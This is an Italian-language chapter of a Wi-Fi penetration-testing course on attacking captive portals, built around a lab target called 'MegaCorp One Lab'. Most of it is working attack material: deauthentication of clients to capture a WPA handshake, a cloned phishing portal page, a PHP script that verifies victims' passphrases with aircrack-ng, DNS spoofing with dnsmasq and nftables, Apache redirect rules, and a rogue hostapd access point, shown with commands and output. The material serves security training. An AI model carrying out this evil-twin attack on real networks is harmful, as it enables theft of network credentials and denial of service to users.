10. Attacking Captive Portals
I captive portal1 sono spesso configurati su reti non crittografate o aperte per consentire a ospiti o dipendenti di connettersi facilmente alla rete o a Internet, a volte senza credenziali.
L'utilizzo di un captive portal è relativamente semplice. Un utente si connette a una determinata rete senza dover inserire credenziali. Una volta connesso, il sistema operativo o il browser spesso rileva la presenza di un captive portal e apre automaticamente un browser per effettuare l'accesso. La pagina di benvenuto a volte contiene regole e condizioni oppure un prompt di login/password.
Sebbene una rete WPA Enterprise sarebbe un'opzione più sicura, è più complicata da configurare e amministrare. Anche il provisioning dei dispositivi è più sicuro, ma altrettanto più complesso. Alcune aziende possono scegliere di utilizzare un captive portal per evitare potenziale confusione o frustrazione da parte di ospiti o clienti, poiché il meccanismo di accesso tramite pagina web è relativamente familiare.
In questo modulo, impareremo come condurre attacchi contro captive portal esistenti creando il nostro, nella speranza di indurre i client a rivelare le proprie credenziali.
1 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Captive_portal ↩︎
10.1. Basic Functionality
La maggior parte dei moderni sistemi operativi e browser (su computer e dispositivi mobili) esegue automaticamente test di connettività Internet. Ciò aiuta gli utenti che devono sapere se è disponibile una connessione Internet o se c'è un problema con una connessione esistente.
Il rilevamento di un captive portal fa parte di questo test,1 e c'è una sottile differenza tra connettività Internet e captive portal.
La configurazione effettiva varia leggermente da un'implementazione all'altra. In generale, il sistema operativo o il browser tenterà di risolvere un URL, o un insieme di URL, e si aspetterà di ricevere una risposta dal server. Questa risposta potrebbe arrivare, ad esempio, sotto forma di una risposta HTTP 204 o anche solo della risposta "success". Se la risoluzione DNS funziona, ma l'accesso a un URL specifico fallisce, verrà mostrato un captive portal, che include una schermata di login.
1 (Ross Butler, 2018), https://medium.com/@rwbutler/solving-the-captive-portal-problem-on-ios-9a53ba2b381e ↩︎
10.2. The Captive Portal Attack
In questa sezione descriveremo un possibile attacco tramite captive portal. Lo suddivideremo in alcune fasi.
Per prima cosa, dovremo raccogliere informazioni sull'AP target. Ciò include il canale, la crittografia, i client, ecc. Sebbene non sia assolutamente necessario, se la rete è WPA-PSK o WPA2-PSK, dovremmo anche catturare un handshake.
In secondo luogo, dovremo preparare un captive portal. Se la rete target contiene un portal esistente, di solito possiamo copiarlo, ma dovremo assicurarci di avere tutte le risorse in locale. Se non esiste un portal, come nel caso dell'esempio che esploreremo, ne creeremo uno convincente. In quest'ultimo caso, e se la rete è PSK, potremmo persino verificare l'handshake ottenuto in precedenza con le credenziali fornite.
Infine, configureremo e creeremo il nostro AP rogue ed eseguiremo gli strumenti necessari per aiutare i client a scoprire il captive portal, o per cercare di forzarli a connettersi a noi, il che dovrebbe consentirci di catturare le credenziali degli utenti.
Si noti che quando ciò accade, le credenziali verranno inviate in chiaro. Dobbiamo essere cauti in questa situazione e considerare sempre la possibilità che qualcuno stia origliando il traffico. A tal fine, l'Opportunistic Wireless Encryption (OWE), chiamata anche talvolta Enhanced Open, può crittografare la connessione senza richiedere una passphrase. Ciò garantirebbe che le credenziali inviateci siano al sicuro dall'intercettazione e, sebbene non tutti i dispositivi la supportino, la maggior parte dei moderni sistemi operativi sì.
10.2.1. Discovery
Inizieremo raccogliendo informazioni sul nostro target. Dovremo eseguire sudo airmon-ng check kill per terminare qualsiasi processo che potrebbe interferire con la nostra scheda wireless. Una volta fatto, eseguiremo sudo airmon-ng start wlan0 per avviarla in modalità monitor.
Successivamente, possiamo usare la nostra nuova interfaccia (wlan0mon) con airodump-ng per catturare informazioni sui client e sugli AP intorno a noi. Useremo -w per impostare il prefisso del file di dump e --output-format per impostare il formato di output su pcap.
kali@kali:~$ sudo airodump-ng -w discovery --output-format pcap wlan0mon
CH 12 ][ Elapsed: 0 s ][ 2020-09-14 16:23
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:0E:08:FA:47:CD -51 3 2 0 6 195 WPA2 CCMP MGT MegaCorp One
00:0E:08:75:69:78 -70 2 0 0 1 130 OPN MegaCorp One Guest
00:0E:08:90:3A:5F -75 3 0 0 11 130 WPA2 CCMP PSK MegaCorp One Lab
BSSID STATION PWR Rate Lost Frames Notes Probes
00:0E:08:90:3A:5F E6:D9:CA:FE:B2:3C -45 0 - 0e 0 2
00:0E:08:90:3A:5F 05:E3:5C:E6:D9:A3 -68 0e-54 0 2
00:0E:08:90:3A:5F E6:EE:C0:FF:EE:84 -81 0 - 5e 487 6
00:0E:08:FA:47:CD 98:D5:96:6D:25:78 -37 0 - 1e 0 2
(not associated) A7:AD:4B:2B:5E:EF -54 0 - 1 3 9 Yugoslavia
00:0E:08:75:69:78 FE:5C:BE:EF:D4:3F -48 0 - 6 0 1
Listato 1 - Discovery tramite Airodump-ng
L'output viene inviato al terminale, ma viene anche salvato in discovery-01.cap.
Prenderemo di mira "MegaCorp One Lab", una rete WPA-PSK sul canale 11 con tre client. Non importa molto se è WPA1 o WPA2, poiché useremo una rete aperta sullo stesso canale per indurre i client a connettersi a noi.
Dovremo intercettare un handshake da uno dei client. Per farlo, possiamo attendere che uno si connetta o riconnetta, oppure possiamo usare aireplay-ng per deautenticare i client. Ciò li costringerà a riconnettersi e dovrebbe consentirci di catturare l'handshake.
kali@kali:~$ sudo aireplay-ng -0 0 -a 00:0E:08:90:3A:5F wlan0mon
16:24:14 Waiting for beacon frame (BSSID: 00:0E:08:90:3A:5F) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
16:24:14 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:15 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:15 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:16 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:16 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:17 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:17 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:18 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:18 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
16:24:19 Sending DeAuth (code 7) to broadcast -- BSSID: [00:0E:08:90:3A:5F]
...
Listato 2 - Deautenticazione dei client
Poco dopo, airmon-ng cattura un handshake di "MegaCorp One Lab" che ora è salvato nel nostro file discovery-01.cap.
CH 12 ][ Elapsed: 0 s ][ 2020-09-14 16:23 ][WPA handshake: 00:0E:08:90:3A:5F ]
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:0E:08:FA:47:CD -51 9 2 0 6 205 WPA2 CCMP MGT MegaCorp One
00:0E:08:75:69:78 -70 7 0 0 1 178 OPN MegaCorp One Guest
00:0E:08:90:3A:5F -75 12 0 0 11 225 WPA2 CCMP PSK MegaCorp One Lab
...
Listato 3 - Discovery tramite Airodump-ng
Ciò sarà importante da utilizzare in seguito nel nostro attacco.
10.2.2. Building the Captive Portal
In questo scenario, il nostro target non ha un captive portal esistente, quindi il passo successivo sarà crearne uno che appaia autentico. Per evitare sospetti, vorremo usare branding e immagini riconoscibili e familiari agli utenti. Useremo anche script PHP per salvare le credenziali inserite da un utente, per poi reindirizzare l'utente a una pagina di successo o di errore.
Per installare Apache e PHP, useremo apt come segue:
Listato 4 - Installazione di Apache e PHP
Poiché stiamo prendendo di mira una rete crittografata anziché un captive portal esistente, creeremo il portal da zero, usando il loro sito web (https://www.megacorpone.com/) come base per il design.
Figura 1: Sito web MegaCorp One
Scarichiamo la pagina index, insieme a tutte le sue risorse, usando wget.1 Useremo la modalità ricorsiva con -r e due livelli di profondità con -l2, poiché l'immagine di sfondo è referenziata in un CSS, che a sua volta è referenziato nella pagina index.
kali@kali:~$ wget -r -l2 https://www.megacorpone.com
--2020-09-10 20:00:24-- https://www.megacorpone.com/
Resolving www.megacorpone.com (www.megacorpone.com)... 3.220.87.155
Connecting to www.megacorpone.com (www.megacorpone.com)|3.220.87.155|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14603 (14K) [text/html]
Saving to: ‘www.megacorpone.com/index.html’
www.megacorpone.com/index.html 100%[=======================================================================================================================================>] 14.26K 54.1KB/s in 0.3s
2020-09-10 20:00:25 (54.1 KB/s) - ‘www.megacorpone.com/index.html’ saved [14603/14603]
...
Listato 5 - Download della pagina index di MegaCorp One e delle sue risorse
Sebbene wget scarichi i file nella directory corrente, in questo caso ha creato una directory con il nome del dominio da cui stiamo scaricando ricorsivamente le risorse, www.megacorpone.com.
Creiamo la nostra pagina di login del captive portal, chiamata index.php in /var/www/html/portal. Il nostro design sarà relativamente semplice. Useremo la riga superiore con il nome dell'azienda, seguita dall'immagine di sfondo e da un campo password. Includeremo anche un pulsante "Connect".
<!DOCTYPE html>
<html lang="en">
<head>
<link href="assets/css/style.css" rel="stylesheet">
<title>MegaCorp One - Nanotechnology Is the Future</title>
</head>
<body style="background-color:#000000;">
<div class="navbar navbar-default navbar-fixed-top" role="navigation">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" style="font-family: 'Raleway', sans-serif;font-weight: 900;" href="index.php">MegaCorp One</a>
</div>
</div>
</div>
<div id="headerwrap" class="old-bd">
<div class="row centered">
<div class="col-lg-8 col-lg-offset-2">
<?php
if (isset($_GET["success"])) {
echo '<h3>Login successful</h3>';
echo '<h3>You may close this page</h3>';
} else {
if (isset($_GET["failure"])) {
echo '<h3>Invalid network key, try again</h3><br/><br/>';
}
?>
<h3>Enter network key</h3><br/><br/>
<form action="login_check.php" method="post">
<input type="password" id="passphrase" name="passphrase"><br/><br/>
<input type="submit" value="Connect"/>
</form>
<?php
}
?>
</div>
<div class="col-lg-4 col-lg-offset-4 himg ">
<i class="fa fa-cog" aria-hidden="true"></i>
</div>
</div>
</div>
</body>
</html>
Listato 6 - Pagina di login del captive portal
Oltre ad essere una pagina di login, il codice PHP indicherà anche se le credenziali sono corrette o errate. In quest'ultimo caso, aggiungerà un messaggio sopra la casella di testo delle credenziali per indicare l'errore. Nel primo caso, nasconderà la casella di testo.
Dovremo anche copiare due directory, assets e old-site, in /var/www/html/portal poiché contengono il CSS e l'immagine di sfondo.
kali@kali:~$ sudo cp -r ./www.megacorpone.com/assets/ /var/www/html/portal/
kali@kali:~$ sudo cp -r ./www.megacorpone.com/old-site/ /var/www/html/portal/
Listato 7 - Copia delle directory assets e old-site
Il form della pagina di login punta a login_check.php, che useremo per verificare le credenziali crackando l'handshake.
<?php
# Path of the handshake PCAP
$handshake_path = '/home/kali/discovery-01.cap';
# ESSID
$essid = 'MegaCorp One Lab';
# Path where a successful passphrase will be written
# Apache2's user must have write permissions
# For anything under /tmp, it's actually under a subdirectory
# in /tmp due to Systemd PrivateTmp feature:
# /tmp/systemd-private-$(uuid)-${service_name}-${hash}/$success_path
# See https://www.freedesktop.org/software/systemd/man/systemd.exec.html
$success_path = '/tmp/passphrase.txt';
# Passphrase entered by the user
$passphrase = $_POST['passphrase'];
# Make sure passphrase exists and
# is within passphrase lenght limits (8-63 chars)
if (!isset($_POST['passphrase']) || strlen($passphrase) < 8 || strlen($passphrase) > 63) {
header('Location: index.php?failure');
die();
}
# Check if the correct passphrase has been found already ...
$correct_pass = file_get_contents($success_path);
if ($correct_pass !== FALSE) {
# .. and if it matches the current one,
# then redirect the client accordingly
if ($correct_pass == $passphrase) {
header('Location: index.php?success');
} else {
header('Location: index.php?failure');
}
die();
}
# Add passphrase to wordlist ...
$wordlist_path = tempnam('/tmp', 'wordlist');
$wordlist_file = fopen($wordlist_path, "w");
fwrite($wordlist_file, $passphrase);
fclose($wordlist_file);
# ... then crack the PCAP with it to see if it matches
# If ESSID contains single quotes, they need escaping
exec("aircrack-ng -e '". str_replace('\'', '\\\'', $essid) ."'" .
" -w " . $wordlist_path . " " . $handshake_path, $output, $retval);
$key_found = FALSE;
# If the exit value is 0, aircrack-ng successfully ran
# We'll now have to inspect output and search for
# "KEY FOUND" to confirm the passphrase was correct
if ($retval == 0) {
foreach($output as $line) {
if (strpos($line, "KEY FOUND") !== FALSE) {
$key_found = TRUE;
break;
}
}
}
if ($key_found) {
# Save the passphrase and redirect the user to the success page
@rename($wordlist_path, $success_path);
header('Location: index.php?success');
} else {
# Delete temporary file and redirect user back to login page
@unlink($wordlist_file);
header('Location: index.php?failure');
}
?>
Listato 8 - Pagina di verifica login del captive portal
Sebbene il nostro script di verifica login possa sembrare intimidatorio a prima vista, è piuttosto semplice. Per prima cosa verifica se la password fornita è già stata memorizzata come password valida in /tmp/passphrase.txt=. In tal caso, restituiamo semplicemente un valore SUCCESS alla pagina di login. Se la password non viene trovata in quel file, la scriviamo in un file wordlist, che viene poi passato al comando aircrack-ng insieme al file handshake catturato in precedenza. Eseguiamo quindi questo comando e analizziamo il suo output per determinare se la password fornita è valida o meno.
Come alternativa all'uso di un handshake esistente, possiamo anche usare una seconda scheda wireless con wpa_supplicant per connetterci all'AP reale. Lo useremmo quindi per verificare le credenziali invece di crackare l'handshake. Se sia l'SSID target che il nostro SSID rogue coincidono, dobbiamo inserire il nostro BSSID nella blacklist di wpa_supplicant usando "bssid_blacklist" affinché non tenti di riconnettersi a noi.
1 (Hrvoje Nikšić, Giuseppe Scrivano, Tim Rühsen, Darshit Shah, 2020), https://www.gnu.org/software/wget/ ↩︎
10.2.3. Networking Setup
Affinché questo attacco funzioni, dovremo effettuare un po' di configurazione.
Per prima cosa assegneremo un indirizzo IP alla nostra interfaccia wlan0. Useremo 192.168.87.1 con una maschera di rete 255.255.255.0. L'IP che usiamo non importa perché, una volta che il sistema dell'utente rileva di non poter raggiungere Internet, aprirà automaticamente nel browser l'indirizzo IP del router, che è anche l'host del captive portal.
kali@kali:~$ sudo ip addr add 192.168.87.1/24 dev wlan0
kali@kali:~$ sudo ip link set wlan0 up
Listato 9 - Configurazione dell'indirizzo IP di wlan0
Avremo client che si connettono a noi e, affinché possano raggiungere il nostro captive portal, hanno bisogno di una configurazione IP. Per fortuna, la prima cosa che l'utente farà è richiedere un lease del Dynamic Host Configuration Protocol (DHCP)1. Lo forniremo usando dnsmasq,2 un piccolo server DNS/DHCP. Possiamo installare dnsmasq con apt.
Listato 10 - Installazione di dnsmasq
Useremo il seguente file di configurazione mco-dnsmasq.conf per il DHCP.
# Main options
# http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html
domain-needed
bogus-priv
no-resolv
filterwin2k
expand-hosts
domain=localdomain
local=/localdomain/
# Only listen on this address. When specifying an
# interface, it also listens on localhost.
# We don't want to interrupt any local resolution
# since the DNS responses will be spoofed
listen-address=192.168.87.1
# DHCP range
dhcp-range=192.168.87.100,192.168.87.199,12h
dhcp-lease-max=100
Listato 11 - Configurazione di dnsmasq
Dobbiamo anche eseguire DNS spoofing3 affinché la risposta per la maggior parte delle richieste DNS punti di nuovo a noi, ad eccezione di casi rari. Useremo di nuovo dnsmasq. Per farlo, aggiungeremo quanto segue al file di configurazione appena creato.
# This should cover most queries
# We can add 'log-queries' to log DNS queries
address=/com/192.168.87.1
address=/org/192.168.87.1
address=/net/192.168.87.1
# Entries for Windows 7 and 10 captive portal detection
address=/dns.msftncsi.com/131.107.255.255
Listato 12 - Aggiunta a dnsmasq per DNS spoofing
Sebbene stiamo falsificando solo alcuni domini generici di primo livello (gTLD), .com, .net e .org, ciò dovrebbe coprire la maggior parte dei domini di siti web a cui un utente connesso tenterà di accedere.
Per Windows, dobbiamo risolvere dns.msftncsi.com a un indirizzo IP specifico di cui Windows conosce il risultato. Ciò aiuterà Windows a rilevare il captive portal.
Warning
Quando la chiave di registro EnableActiveProbing in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters\Internet è impostata su "0", disabiliterà il controllo. Se ciò accade, Windows non rileverà il nostro captive portal e l'utente non potrà effettuare il login.
Ora che il file di configurazione è completo, avviamo dnsmasq con --conf-file seguito dal percorso del nostro file di configurazione.
Listato 13 - Avvio di dnsmasq
Dopo l'avvio, dnsmasq creerà un file contenente il suo ID di processo in /var/run/dnsmasq.pid. Ciò ci permetterà di trovare e terminare il processo quando avremo finito. Possiamo ispezionare syslog4 per confermare che si è avviato correttamente.
kali@kali:~$ sudo tail /var/log/syslog | grep dnsmasq
Sep 15 19:03:50 kali dnsmasq[18135]: started, version 2.82 cachesize 150
Sep 15 19:03:50 kali dnsmasq[18135]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify dumpfile
Sep 15 19:03:50 kali dnsmasq-dhcp[18135]: DHCP, IP range 192.168.87.100 -- 192.168.87.199, lease time 12h
...
Listato 14 - Verifica di dnsmasq in syslog
Usando netstat, possiamo confermare che è in ascolto sulla porta 53 (TCP/UDP) per il DNS e sulla 67 (UDP) per il DHCP.
kali@kali:~$ sudo netstat -lnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN 18135/dnsmasq
tcp6 0 0 :::53 :::* LISTEN 18135/dnsmasq
udp 0 0 0.0.0.0:53 0.0.0.0:* 18135/dnsmasq
udp 0 0 0.0.0.0:67 0.0.0.0:* 18135/dnsmasq
udp6 0 0 :::53 :::* 18135/dnsmasq
...
Listato 15 - Verifica delle porte in ascolto con netstat
Sebbene la porta 67 (UDP) sia aperta, è in ascolto su 0.0.0.0 (tutti gli indirizzi IP), anche se l'abbiamo configurata specificamente per ascoltare su un IP specifico nel Listato 11 con il parametro listen-address. Sembra trattarsi di un bug.
Il DHCP è un protocollo broadcast e i client inviano frame broadcast per ottenere un lease da qualsiasi server DHCP in ascolto. Per questo motivo, dnsmasq non è in ascolto su un indirizzo IP specifico ma su un indirizzo broadcast. Sebbene sia in ascolto su 0.0.0.0, ascolterà solo il traffico broadcast sull'interfaccia che abbiamo specificato. Si noti che netstat non visualizzerà queste informazioni. Lo stesso vale per il DNS (porta 53 TCP/UDP).
A volte i client ignorano le impostazioni DNS fornite nel lease DHCP e useremo una regola nftables5 per forzare il reindirizzamento di tutte le richieste DNS (UDP sulla porta 53 solamente — la porta TCP 53 serve per il zone transfer6) verso il nostro server.
Per farlo, dobbiamo installare nftables e poi aggiungere le regole.
kali@kali:~$ sudo apt install nftables
kali@kali:~$ sudo nft add table ip nat
kali@kali:~$ sudo nft 'add chain nat PREROUTING { type nat hook prerouting priority dstnat; policy accept; }'
kali@kali:~$ sudo nft add rule ip nat PREROUTING iifname "wlan0" udp dport 53 counter redirect to :53
Listato 16 - Regole nftables per reindirizzare il DNS verso di noi
Nella configurazione del sito di Apache, dobbiamo aggiungere regole mod_rewrite7 e mod_alias7:1 affinché il captive portal sia configurato correttamente. Aggiungeremo le seguenti righe in /etc/apache2/sites-enabled/000-default.conf prima del tag di chiusura VirtualHost.
...
# Apple
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]
RewriteCond %{HTTP_HOST} !^192.168.87.1$
RewriteRule ^(.*)$ http://192.168.87.1/portal/index.php [L,R=302]
# Android
RedirectMatch 302 /generate_204 http://192.168.87.1/portal/index.php
# Windows 7 and 10
RedirectMatch 302 /ncsi.txt http://192.168.87.1/portal/index.php
RedirectMatch 302 /connecttest.txt http://192.168.87.1/portal/index.php
# Catch-all rule to redirect other possible attempts
RewriteCond %{REQUEST_URI} !^/portal/ [NC]
RewriteRule ^(.*)$ http://192.168.87.1/portal/index.php [L]
</VirtualHost>
Listato 17 - Regole mod_rewrite e mod_alias per il rilevamento del captive portal
Queste aggiunte richiederanno l'abilitazione di due moduli. Per le prime quattro istruzioni e le ultime tre, abbiamo bisogno del modulo redirect. Per le due aggiunte "RedirectMatch" nel mezzo, abbiamo bisogno del modulo alias.
Abilitiamoli usando a2enmod.
kali@kali:~$ sudo a2enmod rewrite
Enabling module rewrite.
To activate the new configuration, you need to run:
systemctl restart apache2
kali@kali:~$ sudo a2enmod alias
Module alias already enabled
Listato 18 - Abilitazione di mod_rewrite
Apache dispone di una serie di piccole utility che ci consentono di abilitare e disabilitare i moduli. Potremmo creare e eliminare manualmente symlink in directory specifiche, ma queste utility hanno il completamento automatico per i rispettivi elementi con cui operano.
La convenzione di denominazione delle utility le rende relativamente facili da leggere. Ognuna inizia con "a2", che sta per Apache2. È seguita da "en" o "dis", per indicare enabled e disabled. L'ultima parte indica cosa abilitare o disabilitare, e può essere "mod", "site" o "conf", che stanno rispettivamente per module, site o configuration. Ad esempio, se volessimo disabilitare un modulo, useremmo a2dismod.
Avviamo (o riavviamo) Apache usando systemctl restart apache2 e poi assicuriamoci che il portal venga visualizzato correttamente in locale puntando un browser a 127.0.0.1.
Special Case for Chrome
Chrome non verifica automaticamente i captive portal all'avvio come Firefox. Digitare un URL attiverà il captive portal, ma con la configurazione sopra, una ricerca fallirà. Ciò può dipendere dal fatto che Chrome codifica la ricerca e prepone automaticamente l'URL di ricerca, che è HTTPS. Con solo HTTP nella nostra configurazione Apache, non riusciremo a connetterci al sito web perché la porta non è in ascolto.
Possiamo rimediare a questo caso speciale creando una sezione HTTPS in Apache. Si noti che farlo interromperà Firefox (e possibilmente altri sistemi operativi/software) se la vittima clicca sul prompt che la guida al captive portal. Ciò è dovuto al certificato self-signed. Dovrebbe funzionare quando il sistema operativo apre Firefox per effettuare il login. Per questi motivi, raccomandiamo questo approccio solo in un ambiente in cui viene usato esclusivamente Chrome.
Per farlo, dovremo duplicare l'intera sezione VirtualHost nello stesso file di sito, /etc/apache2/sites-enabled/000-default.conf. Cambieremo la porta 80 in 443 nel tag VirtualHost, le istanze di http in https nelle istruzioni RewriteRule e RedirectMatch, e infine aggiungeremo un certificato SSL.
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# Apple
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]
RewriteCond %{HTTP_HOST} !^192.168.87.1$
RewriteRule ^(.*)$ https://192.168.87.1/portal/index.php [L,R=302]
# Android
RedirectMatch 302 /generate_204 https://192.168.87.1/portal/index.php
# Windows 7 and 10
RedirectMatch 302 /ncsi.txt https://192.168.87.1/portal/index.php
RedirectMatch 302 /connecttest.txt https://192.168.87.1/portal/index.php
# Catch-all rule to redirect other possible attempts
RewriteCond %{REQUEST_URI} !^/portal/ [NC]
RewriteRule ^(.*)$ https://192.168.87.1/portal/index.php [L]
# Use existing snakeoil certificates
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
</VirtualHost>
Listato 19 - Sezione VirtualHost per HTTPS
Sebbene potremmo generare i nostri certificati, useremo il certificato snakeoil già generato.8
Warning
I certificati snakeoil vengono creati quando viene installato il pacchetto ssl-cert. Non dovrebbero essere eliminati. Se necessario, possono essere rigenerati eseguendo "make-ssl-cert generate-default-snakeoil --force-overwrite".
Successivamente, dobbiamo abilitare il modulo ssl con a2enmod e riavviare Apache.
kali@kali:~$ sudo a2enmod ssl
Enabling module ssl.
To activate the new configuration, you need to run:
systemctl restart apache2
kali@kali:~$ sudo systemctl restart apache2
Listato 20 - Abilitazione di mod_ssl e riavvio di Apache
1 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol ↩︎
2 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Dnsmasq ↩︎
3 (Wikipedia, 2020), https://en.wikipedia.org/wiki/DNS_spoofing ↩︎
4 (Wikipedia, 2020), https://en.wikipedia.org/wiki/Syslog ↩︎
5 (nftables, 2020), https://wiki.nftables.org/wiki-nftables/index.php/Main_Page ↩︎
6 (Wikipedia, 2020), https://en.wikipedia.org/wiki/DNS_zone_transfer ↩︎
7 (The Apache Software Foundation, 2020), http://httpd.apache.org/docs/current/mod/mod_rewrite.html ↩︎ ↩︎
8 (Debian, 2018), https://askubuntu.com/questions/396120/what-is-the-purpose-of-the-ssl-cert-snakeoil-key ↩︎
10.2.4. Setting Up and Running the Rogue AP
L'ultimo elemento della nostra lista è il file di configurazione dell'AP rogue. Useremo hostapd1 per eseguire l'AP. Possiamo installarlo con sudo apt install hostapd.
Creeremo un AP 802.11n con lo stesso identico SSID e canale dell'AP che stiamo prendendo di mira, ma non useremo alcuna crittografia.
interface=wlan0
ssid=MegaCorp One Lab
channel=11
# 802.11n
hw_mode=g
ieee80211n=1
# Uncomment the following lines to use OWE instead of an open network
#wpa=2
#ieee80211w=2
#wpa_key_mgmt=OWE
#rsn_pairwise=CCMP
Listato 21 - Configurazione hostapd dell'AP rogue
Ora che abbiamo messo insieme tutti i pezzi, eseguiamo hostapd e otteniamo alcune credenziali.
Eseguiremo hostapd in background, con -B, poiché registra anche i log in syslog.
kali@kali:~$ sudo hostapd -B mco-hostapd.conf
Configuration file: mco-hostapd.conf
nl80211: kernel reports: expected nested data
Using interface wlan0 with hwaddr 0e:31:8d:35:ea:08 and ssid "MegaCorp One Lab"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED
Listato 22 - Esecuzione di hostapd
Come nota a margine, ricordiamo che l'arresto di hostapd disabiliterà le interfacce, con conseguente perdita della configurazione IP dell'interfaccia. Dovremo impostare l'IP, prima o dopo l'avvio di hostapd. Dovrebbe essere fatto prima che qualsiasi client si connetta, altrimenti il DHCP non funzionerà.
Apriamo due finestre di terminale per ispezionare i log e verificare le connessioni. La prima ci mostrerà i log di hostapd e udhcpd.
Restiamo in attesa e continuiamo a monitorare i nuovi log usando tail -f. La seconda parte del comando, dopo il pipe, ci mostrerà solo i log di udhcpd e hostapd.
kali@kali:~$ sudo tail -f /var/log/syslog | grep -E '(dnsmasq|hostapd)'
Aug 25 15:49:20 kali hostapd: wlan0: STA 00:c4:98:12:65:1d IEEE 802.11: authenticated
Aug 25 15:49:20 kali hostapd: wlan0: STA 00:c4:98:12:65:1d IEEE 802.11: associated (aid 1)
Aug 25 15:49:20 kali hostapd: wlan0: STA 00:c4:98:12:65:1d RADIUS: starting accounting session 8C7098041457CA7F
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPDISCOVER(wlan0) 00:c4:98:12:65:1d
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPOFFER(wlan0) 192.168.87.118 00:c4:98:12:65:1d
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPREQUEST(wlan0) 192.168.87.118 00:c4:98:12:65:1d
Aug 25 15:49:21 kali dnsmasq-dhcp[18135]: DHCPACK(wlan0) 192.168.87.118 00:c4:98:12:65:1d android-8e6f8d2da38952aa
...
Listato 23 - Log di hostapd e dnsmasq
Troviamo una stazione con MAC 00:c4:98:12:65:1d associata e abbiamo ricevuto un indirizzo IP 192.168.87.118 da dnsmasq.
Nel secondo terminale, monitoreremo i log in ingresso di Apache.
kali@kali:~$ sudo tail -f /var/log/apache2/access.log
192.168.87.118 - - [25/Aug/2020:15:49:22 -0400] "GET /generate_204 HTTP/1.1" 302 568 "-" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"
192.168.87.118 - - [25/Aug/2020:15:49:23 -0400] "GET /portal/index.php HTTP/1.1" 200 497 "-" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"
192.168.87.118 - - [25/Aug/2020:15:49:56 -0400] "POST /portal/login_check.php HTTP/1.1" 302 235 "http://192.168.87.1/portal/index.php" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"
192.168.87.118 - - [25/Aug/2020:15:49:57 -0400] "GET /portal/index.php?success HTTP/1.1" 200 413 "http://192.168.87.1/portal/index.php" "Mozilla/5.0 (Linux; Android 9) AppleWebKit/497.88 (KHTML, like Gecko) Version/4.0 Chrome/72.0.1535.856 Mobile Safari/497.88"
Listato 24 - Log di hostapd e udhcpd
Nell'ultima riga, troviamo che un dispositivo è stato reindirizzato alla pagina index e che ha fornito la passphrase corretta.
Possiamo ora guardare nella directory /tmp, trovare il nostro passphrase.txt e visualizzarne il contenuto.
kali@kali:~$ sudo find /tmp/ -iname passphrase.txt
/tmp/systemd-private-0a505bfcaf7d4db699274121e3ce3849-apache2.service-lIP3ds/tmp/passphrase.txt
kali@kali:~$ sudo cat /tmp/systemd-private-0a505bfcaf7d4db699274121e3ce3849-apache2.service-lIP3ds/tmp/passphrase.txt
NanotechIsTheFuture
Listato 25 - Ricerca e visualizzazione della passphrase
1 (Jouni Malinen and contributors, 2019), https://w1.fi/hostapd/ ↩︎
10.3. Additional Behaviors Surrounding Captive Portals
Sebbene i recenti sistemi operativi rilevino i captive portal, la funzione può talvolta essere disabilitata nelle impostazioni. Quando vengono avviati manualmente, i browser dovrebbero rilevare e reindirizzare al captive portal, ma anche questa funzione può essere disabilitata. Tutto ciò vale anche per gli smartphone.
Ci sono alcuni comportamenti insoliti di cui essere consapevoli.
Ad esempio, Windows non mostrerà il captive portal dopo essersi connesso automaticamente alla rete. In questa situazione l'utente deve manualmente tornare alla finestra di dialogo dell'elenco reti, selezionare la nostra rete e cliccare Connect affinché funzioni.
Inoltre, Chrome non verifica automaticamente i captive portal all'avvio. Li rileva solo quando si digita manualmente un URL o si effettua una ricerca.
